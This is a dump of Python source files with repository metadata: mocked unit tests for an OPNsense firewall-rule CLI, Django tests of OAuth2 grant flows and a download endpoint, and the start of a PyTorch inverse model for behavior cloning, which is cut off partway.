0 }, "HIP": { "value": "HIP", "selected": 0 }, "SHIM6": { "value": "SHIM6", "selected": 0 }, "WESP": { "value": "WESP", "selected": 0 }, "ROHC": { "value": "ROHC", "selected": 0 }, "PFSYNC": { "value": "PFSYNC", "selected": 0 }, "DIVERT": { "value": "DIVERT", "selected": 0 } }, "source_net": "my_alias", "source_not": "0", "source_port": "", "destination_net": "my_alias", "destination_not": "0", "destination_port": "http", "gateway": { "": { "value": "none", "selected": True }, "Null4": { "value": "Null4 - 127.0.0.1", "selected": 0 }, "Null6": { "value": "Null6 - ::1", "selected": 0 }, "WAN_DHCP": { "value": "WAN_DHCP - 10.0.2.2", "selected": 0 }, "WAN_DHCP6": { "value": "WAN_DHCP6 - inet6", "selected": 0 } }, "log": "0", "description": "test Rule with alias" }, "39d68aa9-b7cd-40ab-b4c3-1c1c36a3a367": { "enabled": "1", "sequence": "10", "action": { "pass": { "value": "Pass", "selected": 1 }, "block": { "value": "Block", "selected": 0 }, "reject": { "value": "Reject", "selected": 0 } }, "quick": "1", "interface": { "lan": { "value": "LAN", "selected": 1 }, "lo0": { "value": "Loopback", "selected": 0 }, "wan": { "value": "WAN", "selected": 0 } }, "direction": { "in": { "value": "In", "selected": 1 }, "out": { "value": "Out", "selected": 0 } }, "ipprotocol": { "inet": { "value": "IPv4", "selected": 1 }, "inet6": { "value": "IPv6", "selected": 0 } }, "protocol": { "any": { "value": "any", "selected": 0 }, "ICMP": { "value": "ICMP", "selected": 0 }, "IGMP": { "value": "IGMP", "selected": 0 }, "GGP": { "value": "GGP", "selected": 0 }, "IPENCAP": { "value": "IPENCAP", "selected": 0 }, "ST2": { "value": "ST2", "selected": 0 }, "TCP": { "value": "TCP", "selected": 1 }, "CBT": { "value": "CBT", "selected": 0 }, "EGP": { "value": "EGP", "selected": 0 }, "IGP": { "value": "IGP", "selected": 0 }, "BBN-RCC": { "value": "BBN-RCC", "selected": 0 }, "NVP": { "value": "NVP", "selected": 0 }, "PUP": { "value": "PUP", "selected": 0 }, "ARGUS": { "value": "ARGUS", "selected": 0 }, "EMCON": { "value": "EMCON", "selected": 0 }, "XNET": { "value": "XNET", "selected": 0 }, "CHAOS": { "value": "CHAOS", "selected": 0 }, "UDP": { "value": "UDP", "selected": 0 }, "MUX": { "value": "MUX", "selected": 0 }, "DCN": { "value": "DCN", "selected": 0 }, "HMP": { "value": "HMP", "selected": 0 }, "PRM": { "value": "PRM", "selected": 0 }, "XNS-IDP": { "value": "XNS-IDP", "selected": 0 }, "TRUNK-1": { "value": "TRUNK-1", "selected": 0 }, "TRUNK-2": { "value": "TRUNK-2", "selected": 0 }, "LEAF-1": { "value": "LEAF-1", "selected": 0 }, "LEAF-2": { "value": "LEAF-2", "selected": 0 }, "RDP": { "value": "RDP", "selected": 0 }, "IRTP": { "value": "IRTP", "selected": 0 }, "ISO-TP4": { "value": "ISO-TP4", "selected": 0 }, "NETBLT": { "value": "NETBLT", "selected": 0 }, "MFE-NSP": { "value": "MFE-NSP", "selected": 0 }, "MERIT-INP": { "value": "MERIT-INP", "selected": 0 }, "DCCP": { "value": "DCCP", "selected": 0 }, "3PC": { "value": "3PC", "selected": 0 }, "IDPR": { "value": "IDPR", "selected": 0 }, "XTP": { "value": "XTP", "selected": 0 }, "DDP": { "value": "DDP", "selected": 0 }, "IDPR-CMTP": { "value": "IDPR-CMTP", "selected": 0 }, "TP++": { "value": "TP++", "selected": 0 }, "IL": { "value": "IL", "selected": 0 }, "IPV6": { "value": "IPV6", "selected": 0 }, "SDRP": { "value": "SDRP", "selected": 0 }, "IDRP": { "value": "IDRP", "selected": 0 }, "RSVP": { "value": "RSVP", "selected": 0 }, "GRE": { "value": "GRE", "selected": 0 }, "DSR": { "value": "DSR", "selected": 0 }, "BNA": { "value": "BNA", "selected": 0 }, "ESP": { "value": "ESP", "selected": 0 }, "AH": { "value": "AH", "selected": 0 }, "I-NLSP": { "value": "I-NLSP", "selected": 0 }, "SWIPE": { "value": "SWIPE", "selected": 0 }, "NARP": { "value": "NARP", "selected": 0 }, "MOBILE": { "value": "MOBILE", "selected": 0 }, "TLSP": { "value": "TLSP", "selected": 0 }, "SKIP": { "value": "SKIP", "selected": 0 }, "IPV6-ICMP": { "value": "IPV6-ICMP", "selected": 0 }, "CFTP": { "value": "CFTP", "selected": 0 }, "SAT-EXPAK": { "value": "SAT-EXPAK", "selected": 0 }, "KRYPTOLAN": { "value": "KRYPTOLAN", "selected": 0 }, "RVD": { "value": "RVD", "selected": 0 }, "IPPC": { "value": "IPPC", "selected": 0 }, "SAT-MON": { "value": "SAT-MON", "selected": 0 }, "VISA": { "value": "VISA", "selected": 0 }, "IPCV": { "value": "IPCV", "selected": 0 }, "CPNX": { "value": "CPNX", "selected": 0 }, "CPHB": { "value": "CPHB", "selected": 0 }, "WSN": { "value": "WSN", "selected": 0 }, "PVP": { "value": "PVP", "selected": 0 }, "BR-SAT-MON": { "value": "BR-SAT-MON", "selected": 0 }, "SUN-ND": { "value": "SUN-ND", "selected": 0 }, "WB-MON": { "value": "WB-MON", "selected": 0 }, "WB-EXPAK": { "value": "WB-EXPAK", "selected": 0 }, "ISO-IP": { "value": "ISO-IP", "selected": 0 }, "VMTP": { "value": "VMTP", "selected": 0 }, "SECURE-VMTP": { "value": "SECURE-VMTP", "selected": 0 }, "VINES": { "value": "VINES", "selected": 0 }, "TTP": { "value": "TTP", "selected": 0 }, "NSFNET-IGP": { "value": "NSFNET-IGP", "selected": 0 }, "DGP": { "value": "DGP", "selected": 0 }, "TCF": { "value": "TCF", "selected": 0 }, "EIGRP": { "value": "EIGRP", "selected": 0 }, "OSPF": { "value": "OSPF", "selected": 0 }, "SPRITE-RPC": { "value": "SPRITE-RPC", "selected": 0 }, "LARP": { "value": "LARP", "selected": 0 }, "MTP": { "value": "MTP", "selected": 0 }, "AX.25": { "value": "AX.25", "selected": 0 }, "IPIP": { "value": "IPIP", "selected": 0 }, "MICP": { "value": "MICP", "selected": 0 }, "SCC-SP": { "value": "SCC-SP", "selected": 0 }, "ETHERIP": { "value": "ETHERIP", "selected": 0 }, "ENCAP": { "value": "ENCAP", "selected": 0 }, "GMTP": { "value": "GMTP", "selected": 0 }, "IFMP": { "value": "IFMP", "selected": 0 }, "PNNI": { "value": "PNNI", "selected": 0 }, "PIM": { "value": "PIM", "selected": 0 }, "ARIS": { "value": "ARIS", "selected": 0 }, "SCPS": { "value": "SCPS", "selected": 0 }, "QNX": { "value": "QNX", "selected": 0 }, "A/N": { "value": "A/N", "selected": 0 }, "IPCOMP": { "value": "IPCOMP", "selected": 0 }, "SNP": { "value": "SNP", "selected": 0 }, "COMPAQ-PEER": { "value": "COMPAQ-PEER", "selected": 0 }, "IPX-IN-IP": { "value": "IPX-IN-IP", "selected": 0 }, "CARP": { "value": "CARP", "selected": 0 }, "PGM": { "value": "PGM", "selected": 0 }, "L2TP": { "value": "L2TP", "selected": 0 }, "DDX": { "value": "DDX", "selected": 0 }, "IATP": { "value": "IATP", "selected": 0 }, "STP": { "value": "STP", "selected": 0 }, "SRP": { "value": "SRP", "selected": 0 }, "UTI": { "value": "UTI", "selected": 0 }, "SMP": { "value": "SMP", "selected": 0 }, "SM": { "value": "SM", "selected": 0 }, "PTP": { "value": "PTP", "selected": 0 }, "ISIS": { "value": "ISIS", "selected": 0 }, "CRTP": { "value": "CRTP", "selected": 0 }, "CRUDP": { "value": "CRUDP", "selected": 0 }, "SPS": { "value": "SPS", "selected": 0 }, "PIPE": { "value": "PIPE", "selected": 0 }, "SCTP": { "value": "SCTP", "selected": 0 }, "FC": { "value": "FC", "selected": 0 }, "RSVP-E2E-IGNORE": { "value": "RSVP-E2E-IGNORE", "selected": 0 }, "UDPLITE": { "value": "UDPLITE", "selected": 0 }, "MPLS-IN-IP": { "value": "MPLS-IN-IP", "selected": 0 }, "MANET": { "value": "MANET", "selected": 0 }, "HIP": { "value": "HIP", "selected": 0 }, "SHIM6": { "value": "SHIM6", "selected": 0 }, "WESP": { "value": "WESP", "selected": 0 }, "ROHC": { "value": "ROHC", "selected": 0 }, "PFSYNC": { "value": "PFSYNC", "selected": 0 }, "DIVERT": { "value": "DIVERT", "selected": 0 } }, "source_net": "192.168.1.0/24", "source_not": "0", "source_port": "", "destination_net": "10.0.0.0/24", "destination_not": "0", "destination_port": "ftp", "gateway": { "": { "value": "none", "selected": True }, "Null4": { "value": "Null4 - 127.0.0.1", "selected": 0 }, "Null6": { "value": "Null6 - ::1", "selected": 0 }, "WAN_DHCP": { "value": "WAN_DHCP - 10.0.2.2", "selected": 0 }, "WAN_DHCP6": { "value": "WAN_DHCP6 - inet6", "selected": 0 } }, "log": "0", "description": "Pass rule" } } }, "snatrules": { "rule": [] } } } self._api_client_args_fixtures = [ 'api_key', 'api_secret', 'https://127.0.0.1/api', True, '~/.opn-cli/ca.pem', 60 ] @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_list(self, api_response_mock: Mock): columns = ( 'sequence,interface,action,direction,ipprotocol,protocol,' 'source_net,source_port,destination_net,destination_port' ) result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_list, ], rule, ['list', '-c', columns, '-o', 'plain'] ) self.assertIn( ( "1 lan pass in inet TCP 10.0.0.0/24 80 192.168.0.0/24 http\n" "5 lan pass in inet TCP my_alias my_alias http\n" "10 lan pass in inet TCP 192.168.1.0/24 10.0.0.0/24 ftp\n" ), result.output ) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_show_NOT_FOUND(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ [] ], rule, ['show', 'b468c719-89db-45a8-bd02-b081246dc002'] ) self.assertIn("", result.output) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_show_EMPTY_STRING(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [], rule, ['show', ''] ) self.assertIn("", result.output) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_show(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ { "rule": self._api_data_fixtures_list['filter']['rules']['rule']['b468c719-89db-45a8-bd02-b081246dc002'] }, ], rule, ['show', 'b468c719-89db-45a8-bd02-b081246dc002', '-o', 'yaml'] ) self.assertIn( ( "sequence: '1'\n" "action: pass\n" "quick: '1'\n" "interface: lan\n" "direction: in\n" "ipprotocol: inet\n" "protocol: TCP\n" "source_net: 10.0.0.0/24\n" "source_not: '0'\n" "source_port: '80'\n" "destination_net: 192.168.0.0/24\n" "destination_not: '0'\n" "destination_port: http\n" "gateway: ''\n" "log: '0'\n" "description: test Rule astuerz\n" "enabled: '1'\n\n" ), result.output ) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_create_OK(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_create_OK, self._api_data_fixtures_apply_OK, self._api_data_fixtures_cancel_rollback_OK, ], rule, [ "create", "20", "-a", "block", "--no-quick", "-i", "lan,wan", "-d", "in", "-ip", "inet", "-p", "TCP", "-src", "20.82.65.183", "--no-source-invert", "-src-port", "8081", "-dst", "192.168.1.1", "--no-destination-invert", "-dst-port", "https", "--gateway", "Null4", "--log", "-d", "example block rule", "--disabled", ] ) self.assertIn( ( "saved \n" ), result.output ) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_create_ERROR(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_create_ERROR, self._api_data_fixtures_apply_OK, self._api_data_fixtures_cancel_rollback_OK, ], rule, [ "create", "40", "-a", "pass", "-i", "lan", "-src", "alias_not_exists", "-dst", "192.168.1.1", "-d", "example fails", ] ) self.assertIn( ( "Error: {'result': 'failed', " "'validations': {'rule.source_net': 'alias_not_exists is not a valid source IP address or alias.'}}\n" ), result.output ) self.assertEqual(1, result.exit_code) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_update_OK(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_update_OK, self._api_data_fixtures_apply_OK, self._api_data_fixtures_cancel_rollback_OK, ], rule, [ "update", "85282721-934c-42be-ba4d-a93cbfda26af", "-s", "7", "-a", "pass", "--quick", "-i", "lan", "-d", "out", "-ip", "inet", "-p", "TCP", "-src", "example_alias", "--source-invert", "-src-port", "", "-dst", "20.82.65.183", "--destination-invert", "-dst-port", "ssh", "--gateway", "", "--no-log", "-d", "example pass rule", "--enabled", ] ) self.assertIn( ( "saved \n" ), result.output ) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_update_NOT_EXISTS(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_update_NOT_EXISTS, ], rule, [ "update", "85282721-934c-42be-ba4d-a93cbfda26af", "--disabled", ] ) self.assertIn( ( "Error: {'result': 'failed'}\n" ), result.output ) self.assertEqual(1, result.exit_code) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_delete_OK(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_delete_OK, self._api_data_fixtures_apply_OK, self._api_data_fixtures_cancel_rollback_OK, ], rule, [ "delete", "85282721-934c-42be-ba4d-a93cbfda26af", ] ) self.assertIn( ( "deleted \n" ), result.output ) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_delete_NOT_FOUND(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_delete_NOT_FOUND, ], rule, [ "delete", "not_existing_rule", ] ) self.assertIn("Error: {'result': 'not found'}\n", result.output) self.assertEqual(1, result.exit_code) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_start_transaction_FAILED(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_FAILED, ], rule, [ "delete", "85282721-934c-42be-ba4d-a93cbfda26af", ], True ) self.assertIn("Error: Savepoint creation failed: {'status': 'failed'}\n", result.output) self.assertEqual(1, result.exit_code) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_commit_transaction_apply_FAILED(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_delete_OK, self._api_data_fixtures_apply_FAILED ], rule, [ "delete", "85282721-934c-42be-ba4d-a93cbfda26af", ], True ) self.assertIn("Error: firewall rule apply failed: {'status': 'FAILED\\n\\n'}\n", result.output) self.assertEqual(1, result.exit_code) @patch('opnsense_cli.commands.plugin.firewall.rule.ApiClient.execute') def test_commit_transaction_cancel_rollback_FAILED(self, api_response_mock: Mock): result = self._opn_cli_command_result( api_response_mock, [ self._api_data_fixtures_savepoint_OK, self._api_data_fixtures_delete_OK, self._api_data_fixtures_apply_OK, self._api_data_fixtures_cancel_rollback_FAILED ], rule, [ "delete", "85282721-934c-42be-ba4d-a93cbfda26af", ], True ) self.assertIn( ( "Error: firewall rule cancel rollback failed. " "Rollback configuration after 60 seconds: {'status': 'failed\\n\\n'}\n" ), result.output ) self.assertEqual(1, result.exit_code)

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0.858742

0.853534

0.848866

0

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0.731391

95,920

2,224

120

43.129496

0.608112

0

0.683971

0

0.001366

0.144256

0.014408

0

0.008652

1

0.006375

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0.006375

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0

0.008197

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null

1

0

1

0

1

0

null

0

8

35cca9fb7eafb1a9ef2343d233045c57da8e2297

18,433

py

Python

api/tests.py

Xavier-Cliquennois/ac-mediator

ce55b65ab7f4532fc11fbb2f994518c60240bfdc

[ "Apache-2.0" ]

9

2016-11-17T08:04:01.000Z

2020-09-10T05:58:36.000Z

api/tests.py

Xavier-Cliquennois/ac-mediator

ce55b65ab7f4532fc11fbb2f994518c60240bfdc

[ "Apache-2.0" ]

23

2016-10-26T14:43:55.000Z

2021-06-10T20:02:38.000Z

api/tests.py

Xavier-Cliquennois/ac-mediator

ce55b65ab7f4532fc11fbb2f994518c60240bfdc

[ "Apache-2.0" ]

3

2018-03-03T12:07:28.000Z

2020-08-02T12:54:31.000Z

from django.test import TestCase, override_settings from api.models import ApiClient from accounts.models import Account from django.core.urlresolvers import reverse from services import management from django.conf import settings import oauth2_provider import datetime class OAuth2TestCase(TestCase): def setUp(self): # Create users self.dev_user = Account.objects.create_user('dev', password='devpass') self.end_user_password = 'endpass' self.end_user = Account.objects.create_user('end', password=self.end_user_password) # Create clients ApiClient.objects.create( name='PublicImplicitClient', user=self.dev_user, agree_tos=True, client_type=ApiClient.CLIENT_PUBLIC, authorization_grant_type=ApiClient.GRANT_IMPLICIT, redirect_uris='http://example.com', password_grant_is_allowed=False, ) ApiClient.objects.create( name='PublicPasswordClient', user=self.dev_user, agree_tos=True, client_type=ApiClient.CLIENT_PUBLIC, authorization_grant_type=ApiClient.GRANT_PASSWORD, redirect_uris='', password_grant_is_allowed=False, # Start at not allowed ) ApiClient.objects.create( name='ConfidentialAuthorizationCodeClient', user=self.dev_user, agree_tos=True, client_type=ApiClient.CLIENT_CONFIDENTIAL, authorization_grant_type=ApiClient.GRANT_AUTHORIZATION_CODE, redirect_uris='http://example.com', password_grant_is_allowed=False, ) @staticmethod def get_params_from_url(url): params_part = url.split('?')[1] return {item.split('=')[0]: item.split('=')[1] for item in params_part.split('&')} @staticmethod def fragment_params_from_url(url): params_part = url.split('#')[1] return {item.split('=')[0]: item.split('=')[1] for item in params_part.split('&')} def check_dict_has_fields(self, dictionary, fields): for field in fields: self.assertIn(field, dictionary) def check_access_token_response_fields(self, resp): self.check_dict_has_fields( resp.json(), ['expires_in', 'scope', 'refresh_token', 'access_token', 'token_type']) def check_redirect_uri_access_token_frag_params(self, params): self.check_dict_has_fields( params, ['expires_in', 'scope', 'access_token', 'token_type']) def test_password_grant_flow(self): # Return 'unauthorized_client' when trying password grant with a client of other authorization_grant_type client = ApiClient.objects.get(name='PublicImplicitClient') resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 401) self.assertEqual(resp.json()['error'], 'unauthorized_client') # Return 'unauthorized_client' when trying password grant with a client with authorization_grant_type # set to 'password' but with 'password_grant_is_allowed' set to False client = ApiClient.objects.get(name='PublicPasswordClient') resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 401) self.assertEqual(resp.json()['error'], 'unauthorized_client') # Return 200 OK when trying password grant with a client with authorization_grant_type # set to 'password' and with 'password_grant_is_allowed' set to True client.password_grant_is_allowed = True client.save() resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 200) self.check_access_token_response_fields(resp) # Return 'invalid_client' when missing client_id resp = self.client.post( reverse('oauth2_provider:token'), { #'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 401) self.assertEqual(resp.json()['error'], 'invalid_client') # Return 'invalid_client' when client_id does not exist in db resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': 'thi5i5aninv3nt3dcli3ntid', 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 401) self.assertEqual(resp.json()['error'], 'invalid_client') # Return 'unsupported_grant_type' when grant type does not exist resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'invented_grant', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 400) self.assertEqual(resp.json()['error'], 'unsupported_grant_type') # Return 'invalid_request' when no username is provided resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'password', #'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 400) self.assertEqual(resp.json()['error'], 'invalid_request') # Return 'invalid_request' when no password is provided resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, #'password': self.end_user_password, }) self.assertEqual(resp.status_code, 400) self.assertEqual(resp.json()['error'], 'invalid_request') # Test get token with trailing slash (https://github.com/AudioCommons/ac-mediator/issues/19) # NOTE: since change in b11a0197bbecbbdb6e5f3c82285f6b749596947d reverse() will return URLs # without trailing slashes, therefore here we complement the test by adding the slash resp = self.client.post( reverse('oauth2_provider:token') + '/', { 'client_id': client.client_id, 'grant_type': 'password', 'username': self.end_user.username, 'password': self.end_user_password, }) self.assertEqual(resp.status_code, 200) def test_implicit_grant_flow(self): # Redirect to login page when visiting authorize page with an AnonymousUser client = ApiClient.objects.get(name='PublicImplicitClient') resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'token', }) self.assertIn('/login/', resp.url) # Redirect includes 'error' param when using non existing response type self.client.login(username=self.end_user.username, password=self.end_user_password) resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'non_existing_response_type', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_params = self.get_params_from_url(resp.url) self.check_dict_has_fields(resp_params, ['error']) self.assertEqual(resp_params['error'], 'unsupported_response_type') # Redirect includes 'error' param when using non supported response type resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'code', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_params = self.get_params_from_url(resp.url) self.check_dict_has_fields(resp_params, ['error']) self.assertEqual(resp_params['error'], 'unauthorized_client') # Authorization page is displayed with errors with non existing client_id resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': 'thi5i5aninv3nt3dcli3ntid', 'response_type': 'code', }) self.assertEqual(resp.status_code, 400) self.assertIn('Invalid client_id parameter value', str(resp.content)) # Authorization page is displayed correctly when correct response_type and client_id resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'token', }) self.assertEqual(resp.status_code, 200) self.assertIn('name="allow" value="Authorize"', str(resp.content)) # Final redirect includes token params resp = self.client.post( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'token', 'redirect_uri': client.default_redirect_uri, 'scope': 'read', 'state': 'an_optional_state', 'allow': 'Authorize', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_fragment_params = self.fragment_params_from_url(resp.url) self.assertEquals(resp_fragment_params['state'], 'an_optional_state') # Check state is returned and preserved self.assertEquals('refresh_token' in resp_fragment_params, False) # Check that refresh token is not returned self.check_redirect_uri_access_token_frag_params(resp_fragment_params) # Check other params def test_authorization_code_grant_flow(self): # Redirect to login page when visiting authorize page with an AnonymousUser client = ApiClient.objects.get(name='ConfidentialAuthorizationCodeClient') resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'code', }) self.assertIn('/login/', resp.url) # Redirect includes 'error' param when using non existing response type self.client.login(username=self.end_user.username, password=self.end_user_password) resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'non_existing_response_type', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_params = self.get_params_from_url(resp.url) self.check_dict_has_fields(resp_params, ['error']) self.assertEqual(resp_params['error'], 'unsupported_response_type') # Redirect includes 'error' param when using non supported response type resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'token', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_params = self.get_params_from_url(resp.url) self.check_dict_has_fields(resp_params, ['error']) self.assertEqual(resp_params['error'], 'unauthorized_client') # Authorization page is displayed with errors with non existing client_id resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': 'thi5i5aninv3nt3dcli3ntid', 'response_type': 'code', }) self.assertEqual(resp.status_code, 400) self.assertIn('Invalid client_id parameter value', str(resp.content)) # Authorization page is displayed correctly when correct response_type and client_id resp = self.client.get( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'code', }) self.assertEqual(resp.status_code, 200) self.assertIn('name="allow" value="Authorize"', str(resp.content)) # Redirect includes 'code' and 'state' params resp = self.client.post( reverse('oauth2_provider:authorize'), { 'client_id': client.client_id, 'response_type': 'code', 'redirect_uri': client.default_redirect_uri, 'scope': 'read', 'state': 'an_optional_state', 'allow': 'Authorize', }) self.assertEquals(resp.url.startswith(client.default_redirect_uri), True) resp_params = self.get_params_from_url(resp.url) self.assertEquals(resp_params['state'], 'an_optional_state') # Check state is returned and preserved self.check_dict_has_fields(resp_params, ['code']) # Check code is there # Return 200 OK 'access_denied' when requesting access token setting client_id and client_secret in body params code = resp_params['code'] resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, 'client_secret': client.client_secret, 'grant_type': 'authorization_code', 'code': code, 'redirect_uri': client.default_redirect_uri }) self.assertEqual(resp.status_code, 200) self.check_access_token_response_fields(resp) # Return 'invalid_client' when trying to get access without client_secret code = resp_params['code'] resp = self.client.post( reverse('oauth2_provider:token'), { 'client_id': client.client_id, #'client_secret': client.client_secret, 'grant_type': 'authorization_code', 'code': code, 'redirect_uri': client.default_redirect_uri }) self.assertEqual(resp.status_code, 401) self.assertEqual(resp.json()['error'], 'invalid_client') modified_rest_framework_settings = settings.REST_FRAMEWORK modified_rest_framework_settings['DEFAULT_PERMISSION_CLASSES'] = ['rest_framework.permissions.IsAuthenticated'] @override_settings(REST_FRAMEWORK=modified_rest_framework_settings) class DownloadEndpointsTestCase(TestCase): def setUp(self): # Create users self.dev_user = Account.objects.create_user('dev', password='devpass') self.end_user_password = 'endpass' self.end_user = Account.objects.create_user('end', password=self.end_user_password) # Create clients ApiClient.objects.create( name='TestClient', user=self.dev_user, agree_tos=True, client_type=ApiClient.CLIENT_PUBLIC, authorization_grant_type=ApiClient.GRANT_PASSWORD, redirect_uris='http://example.com', password_grant_is_allowed=True, ) # Create fake download service from services.acservice.base import BaseACService from services.acservice.download import ACDownloadMixin class FakeService(BaseACService, ACDownloadMixin): NAME = 'DownloadService' def get_download_url(self, acid): return 'http://test.url/for/test/{0}'.format(acid) self.service = FakeService() self.service.configure({'service_id': 'downloadserviceid', 'enabled': 'yes'}) management.available_services = [self.service] def test_get_download_link(self): # Make unauthenticated request and assert it returns 401 resp = self.client.get(reverse('api-download'), { 'acid': 'DownloadService:123', }) self.assertEqual(resp.status_code, 401) # Create an access token for application and user client = ApiClient.objects.get(name='TestClient') access_token = self.access_token = oauth2_provider.models.AccessToken.objects.create( token='a_fake_token', application=client, user=self.end_user, expires=datetime.datetime.today() + datetime.timedelta(hours=1) ) # Make API request authenticated and assert it returns 200 resp = self.client.get(reverse('api-download'), { 'acid': 'DownloadService:123', }, HTTP_AUTHORIZATION='Bearer {0}'.format(access_token)) self.assertEqual(resp.status_code, 200) # Ensure request for non existing service returns 404 resp = self.client.get(reverse('api-download'), { 'acid': 'DownloadService2:123', }, HTTP_AUTHORIZATION='Bearer {0}'.format(access_token)) self.assertEqual(resp.status_code, 404) # Ensure request with no acid parameter returns 400 resp = self.client.get(reverse('api-download'), { 'acid2': 'DownloadService:123', }, HTTP_AUTHORIZATION='Bearer {0}'.format(access_token)) self.assertEqual(resp.status_code, 400)

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119

0.618999

1,958

18,433

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0.117467

0.037974

0.053765

0.036513

0.771702

0.743496

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0

null

0

1

0

7

ea0ca27198361255426d3ae37e032a51153c9bb6

6,075

py

Python

behavior_cloning/learner.py

chickert/reinforcement_learning

473323f08b079004f27a7f0931e5e9a46bfad347

[ "MIT" ]

null

behavior_cloning/learner.py

chickert/reinforcement_learning

473323f08b079004f27a7f0931e5e9a46bfad347

[ "MIT" ]

null

behavior_cloning/learner.py

chickert/reinforcement_learning

473323f08b079004f27a7f0931e5e9a46bfad347

[ "MIT" ]

null

import torch import torch.nn as nn import torch.nn.functional as f from mlp import MultiLayerPerceptron import torch import torch.nn as nn import torch.optim as optim import logging import numpy as np device = "cuda" if torch.cuda.is_available() else "cpu" logger = logging.getLogger(__name__) logging.basicConfig() logger.setLevel(logging.INFO) class InverseModel(nn.Module): """ Inverse model predicts action given the current state and the desired future state """ def __init__(self, start_state_dims, next_state_dims, action_dims, latent_var_1=64, latent_var_2=32, criterion=nn.MSELoss(), lr=4e-4, seed=0): torch.manual_seed(seed) super(InverseModel, self).__init__() self.state_dims = start_state_dims + next_state_dims self.model = nn.Sequential( nn.Linear(self.state_dims, latent_var_1), nn.ReLU(), nn.Linear(latent_var_1, latent_var_2), nn.ReLU(), nn.Linear(latent_var_2, action_dims) ) self.criterion = criterion self.optimizer = optim.Adam(self.model.parameters(), lr=lr) def forward(self, combined_states): actions = self.model(combined_states) return actions def train_and_validate(self, train_dl, valid_dl, num_epochs): loss_list = [] avg_loss_list = [] valid_loss_list = [] logger.info("Starting with epoch 0") for epoch in range(num_epochs): losses_for_given_epoch = [] self.model.train() for start_states, next_states, true_actions in train_dl: start_states = start_states.float() next_states = next_states.float() true_actions = true_actions.float() self.optimizer.zero_grad() combined_states = torch.cat((start_states, next_states), dim=1) pred_actions = self.model(combined_states) loss = self.criterion(pred_actions, true_actions) loss.backward() self.optimizer.step() losses_for_given_epoch.append(loss.item()) self.model.eval() with torch.no_grad(): valid_loss_sum = 0 for start_states, next_states, true_actions in valid_dl: start_states = start_states.float() 